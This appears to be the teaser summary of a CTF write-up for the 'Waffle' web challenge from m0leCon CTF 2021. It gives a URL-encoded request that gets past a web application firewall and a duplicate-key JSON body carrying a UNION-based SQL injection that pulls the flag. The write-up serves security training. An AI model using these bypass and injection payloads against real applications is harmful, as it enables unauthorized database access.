Waffle Write-up - m0leCon CTF 2021 Teaser Yadhu Krishna M 2021-05-16 Web Exploitation tl;dr Make a GET request to /gettoken%3fcreditcard=mmm&promocode=FREEWAF to get the token. Using the token make another request with {"name":"' union select flag, 1, 1, 1 from flag -- -", "name":"x"} to get the flag. Read More SQLi JSON Interoperability